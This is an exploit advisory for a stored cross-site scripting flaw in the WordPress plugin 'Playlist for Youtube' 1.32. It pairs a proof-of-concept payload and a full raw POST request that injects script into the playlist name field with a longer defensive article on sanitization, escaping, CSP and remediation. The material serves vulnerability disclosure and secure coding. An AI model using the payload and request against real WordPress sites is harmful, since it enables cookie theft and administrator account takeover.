Wordpress Plugin Playlist for Youtube 1.32 - Stored Cross-Site Scripting (XSS)
# Exploit Title: Wordpress Plugin Playlist for Youtube - Stored Cross-Site Scripting (XSS)
# Date: 22 March 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.32
# Proof Of Concept:
1. Click Add a new playlist and enter the XSS payload as below into the properties named "Name" or "Playlist ID".
# PoC Video: https://www.youtube.com/watch?v=jrH5OHBoTns
# Vulnerable Properties name: name, playlist_id
# Payload: "><script>alert(document.cookie)</script>
# Request:
POST /wp-admin/admin.php?page=playlists_yt_free HTTP/2
Host: erdemstar.local
Cookie: thc_time=1713843219; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=1711124335; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=1712096748; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9
Content-Length: 178
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://erdemstar.local/wp-admin/admin.php?page=playlists_yt_free
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
_wpnonce=17357e6139&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dplaylists_yt_free&name="><script>alert(document.cookie)</script>&playlist_id=123&template=1&text_size=123&text_color=%23000000 WordPress Plugin "Playlist for Youtube" 1.32 — Stored Cross‑Site Scripting (XSS): Analysis, Risks, and Mitigations
This article explains a stored Cross‑Site Scripting (XSS) vulnerability reported in version 1.32 of a popular WordPress plugin that manages YouTube playlists. It covers how this class of vulnerability arises, its potential impact, safe coding practices for plugin developers, detection and remediation guidance for site owners, and recommended hardening measures. The discussion emphasizes secure fixes and defensive steps rather than exploitation details.
Summary
| Category | Details |
|---|---|
| Vulnerability type | Stored Cross‑Site Scripting (persistent XSS) |
| Affected component | Plugin admin form fields that accept playlist metadata (e.g., name and playlist identifier) |
| Root cause | User-supplied input is stored and later rendered without proper validation and escaping |
| Impact | Arbitrary script execution in the context of users who view the stored data (admin dashboard or public pages) |
How stored XSS typically occurs (high level)
- A user-supplied value is accepted by a plugin (e.g., playlist name or ID) and saved in the database.
- The application later outputs that stored value into a page (admin UI or public page) without escaping.
- An attacker with the ability to save crafted content can store executable script code that runs when another user (often an administrator) views the page.
Why this is dangerous
- Stored XSS can lead to session theft, account takeover, or execution of actions as an authenticated user.
- If the stored payload is rendered in admin pages, the attacker can target high‑privilege users.
- Automated scanners and crawlers may not always detect stored payloads — manual review and targeted scanning are valuable.
Detection and investigation
What site owners should check
- Identify plugin settings, options, or custom database tables where playlist metadata is stored.
- Search for suspicious content in stored data (script tags, inline event handlers, javascript: URIs) and unusual HTML in fields that should be plain text.
- Check access logs and admin activity logs for unexpected POST submissions to plugin admin pages.
- Scan the site with up‑to‑date web application scanners and use WordPress security plugins that can detect injected scripts.
Safe investigation workflow
- Back up the site and database before making corrective changes.
- Export suspected records for offline analysis rather than modifying live content immediately.
- Remove or sanitize suspicious entries after validating that they are malicious and not legitimate content.
Secure coding principles to prevent stored XSS in WordPress plugins
Two complementary principles must be followed:
- Sanitize and validate input at the time of receipt (server side).
- Escape output at the time of rendering based on the context (HTML text, attribute, JavaScript, URL).
Server‑side validation and sanitization
For each input field, apply a whitelist approach: define what is allowed and reject everything else. Example safe patterns:
- Playlist names: treat as plain text and strip/normalize whitespace and control characters.
- Playlist IDs: apply strict pattern matching (alphanumeric, hyphen, underscore) or use intval() for numeric IDs.
- Use WordPress helper functions like sanitize_text_field() for plain text and wp_kses() when limited HTML is required.
<?php
// Example server-side processing in a plugin admin handler
if (
isset($_POST['playlists_yt_save'])
&& check_admin_referer('playlists_yt_action', 'playlists_yt_nonce')
&& current_user_can('manage_options')
) {
// Normalize and sanitize inputs
$name = isset($_POST['name']) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
$playlist_id = isset($_POST['playlist_id'])
? preg_replace('/[^a-zA-Z0-9_\-]/', '', wp_unslash( $_POST['playlist_id'] ) ) // strict whitelist
: '';
// Store sanitized values (options, post meta, or custom table)
update_option('playlists_yt_name', $name);
update_option('playlists_yt_id', $playlist_id);
}
?>Explanation: This code checks a nonce to prevent CSRF, verifies the current user has the needed capability, and sanitizes inputs. sanitize_text_field() strips harmful characters from text fields. For IDs, a stricter whitelist via preg_replace() ensures only the allowed characters remain. Always use wp_unslash() to remove WordPress’s added slashes when reading raw POST data.
Contextual escaping at output
Never assume stored content is safe — escape on output according to the context:
- HTML content: esc_html()
- HTML attributes: esc_attr()
- URLs: esc_url()
- Trusted limited HTML: wp_kses() with a strict allowed list
<?php
// Safe rendering in an admin page or public template
$name = get_option('playlists_yt_name', '');
$playlist_id = get_option('playlists_yt_id', '');
// Render as plain text
echo '<div class="playlist-name">' . esc_html( $name ) . '</div>';
// Render attribute-safe output
printf(
'<div data-playlist-id="%s">...</div>',
esc_attr( $playlist_id )
);
?>Explanation: esc_html() encodes characters that have special meaning in HTML so they render as text, preventing script execution. esc_attr() ensures values placed inside attributes are safely encoded. Use esc_url() for URLs and wp_kses() if the field must permit a small subset of HTML (and define the allowed tags/attributes explicitly).
When limited HTML is required
If plugin functionality requires allowing some HTML (e.g., bold or links in descriptions), use wp_kses() with a strict allowed list:
<?php
$allowed = array(
'a' => array( 'href' => array(), 'title' => array(), 'rel' => array() ),
'strong' => array(),
'em' => array(),
);
$clean_description = wp_kses( $raw_description, $allowed );
echo '<div class="desc">' . $clean_description . '</div>';
?>Explanation: wp_kses() filters HTML and removes disallowed tags and attributes. It is safer than stripping all HTML when some formatting is legitimately needed.
Additional protective controls
- Use nonces and capability checks on admin forms (check_admin_referer(), current_user_can()).
- Limit who can submit or edit playlist entries — avoid exposing these functions to unprivileged users if not required.
- Implement Content Security Policy (CSP) as a defense-in-depth measure to reduce damage from injected scripts (note: CSP should be carefully designed to avoid breaking legitimate features).
- Keep plugins and WordPress core updated and subscribe to vendor security advisories.
<?php
// Example: add a basic CSP header (test carefully)
add_action('send_headers', function() {
header(\"Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';\");
});
?>Explanation: A Content Security Policy restricts what sources of scripts and other resources are allowed to execute. It is a useful secondary control but not a substitute for proper sanitization and escaping.
Remediation steps for site administrators
- Apply the vendor patch or update the plugin to a fixed version if available.
- If an immediate update is not possible, temporarily disable the vulnerable plugin or restrict access to its admin pages.
- Back up your database. Inspect stored playlist records and remove or sanitize entries containing unexpected HTML or script content.
- Rotate credentials for administrator accounts that may have been targeted or exposed.
- Monitor logs and scan for other indicators of compromise.
- Consider running a full site malware scan and restoring clean backups if persistent malicious modifications are found.
Safe cleanup example (high level)
Suggested approach — perform these steps only after taking a database backup:
- Export suspect rows for offline review.
- Replace malicious content with sanitized versions using the same sanitization rules described above.
- Where appropriate, remove entries and ask the site owner or content author to re-enter valid content safely.
Responsible disclosure and developer guidance
- Plugin developers should conduct threat modeling for any field that accepts user input and assume values may be hostile.
- Establish a secure development lifecycle that includes input validation, contextual escaping, and code review for security issues.
- Provide clear upgrade instructions and changelogs when releasing security fixes.
- If you are a security researcher, follow coordinated disclosure practices: notify the vendor privately, allow reasonable time for a fix, and publish details only after a patch is available or the vendor declines to act.
Conclusion
Stored XSS vulnerabilities arise when user content is stored and later rendered without correct sanitization and contextual escaping. For WordPress plugins, the combination of server‑side sanitization (sanitize_text_field, wp_kses, strict validation), output escaping (esc_html, esc_attr, esc_url), proper capability checks, and use of nonces prevents most injection scenarios. Site owners should keep plugins updated, audit stored content when a vulnerability is reported, and employ defense‑in‑depth controls such as CSP.
Resources and references
- WordPress Developer Handbook: Data Validation, Sanitization, and Escaping
- OWASP: Cross Site Scripting (XSS) Prevention Cheat Sheet
- Guides on using wp_kses(), esc_html(), esc_attr(), and sanitize_text_field()